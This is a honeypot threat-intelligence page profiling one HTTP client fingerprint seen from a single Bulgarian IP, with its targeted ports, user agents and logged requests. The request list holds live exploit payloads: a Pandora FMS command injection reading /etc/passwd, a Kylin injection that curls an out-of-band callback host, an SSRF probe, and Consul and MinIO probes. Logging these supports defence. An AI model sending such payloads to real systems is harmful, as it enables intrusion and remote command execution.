HoneyLabs
Lookup
Explore
CVEsEarly actorsPayloadsCampaignsEmissions IndexPortsUser-agents
Integrations
OverviewMCPFeedsAPI / EnrichSplunk ESMicrosoft SentinelElasticMISPOpenCTICrowdSec
PricingDocsBlog
Dashboard

Akin HTTP request fingerprint

b11cuk061_00050013_95cc9d02_xed80

Seen 2026-03-31 to 2026-10-01 across the retained window.

Open in lookup → Addresses as a feed

The feed is a URL your firewall, MISP or SIEM polls; it needs a free account so it can be revoked. Or watch the top network: AS48090 sends an email when it next hits a sensor.

1

Source IPs

1

Networks

1

Countries

1

Ports hit

33

Events

1

IPs / network

This fingerprint is spread thinly across many networks, which is the shape of a common, widely-used client.

Top networks

AS48090 Techoff Srv Limited1 IPs33

Countries

BG 1

Ports targeted

443/tcp 33

What it requests

POST/search/4
POST/pandora_console/ajax.php?page=include/ajax/events&perform_event_response=10000000&target=cat+/etc/passwd&response_id=14
POST/apis/authorization.k8s.io/v1/selfsubjectaccessreviews4
POST/controller/origemdb.php?idselorigem=ATIVOS3
POST/index.php?option=com_rsfiles&task=rsfiles.checkupload3
POST/SAAS/API/1.0/REST/oauth2/generateActivationToken/Service__OAuth2Client3
POST/minio/bootstrap/v1/verify3
PUT/v1/agent/check/deregister/3K5CNb4nBxeqpozBA4m92NlL2yJ1
PUT/v1/agent/check/deregister/3JxN8kenZ2JJ7rOOW3gWtYokMJj1
POST/kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20daucadtr4bot53oq70f0x1pnbb3deksw1.oast.pro%60/migrate1
POST/models?url=http%3a//dav0a8lr4bopsbet8a50wqynxoyc1tktt.oast.fun1
PUT/v1/agent/check/deregister/3K2WNP3bZIyur90QI7TzDuR6Wja1

User agents claimed

Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.361 IPs2
Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.361 IPs1
Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.01 IPs1
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.361 IPs1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.361 IPs1
Source IPCCNetwork Last seenEvents
93.123.109.214BGAS48090 Techoff Srv Limited2026-10-0133

Related fingerprints

Clients whose header set is within two of this one, measured from the tokens themselves.

b11cun050_00050013_2619b3ac1 header apart4 IPs84b11cun040_00040013_608dab682 headers apart4.3K IPs244.1Kb11cuq060_00050813_95cc9d022 headers apart52 IPs3.8Kb11cun040_00040013_ab9bb0752 headers apart70 IPs596b11cun061_00050013_f5830403_x06592 headers apart51 IPs159b11cun040_00050011_bf8a4cbb2 headers apart6 IPs152b11cuq060_00050813_8587a3e32 headers apart4 IPs107b11cun040_00040013_7df024fe2 headers apart2 IPs55

About this fingerprint

Akin fingerprints an HTTP client from the request head alone: the protocol version, line endings, body framing, which headers are present, and the grammar of the negotiation header values. The User-Agent string and the request path are deliberately excluded, because both are trivially changed and both were measured varying within a single operator, so a scanner that rotates either keeps one fingerprint. The middle section is a presence bitmap rather than a hash, so two tokens can be compared directly to see how many headers the clients differ by.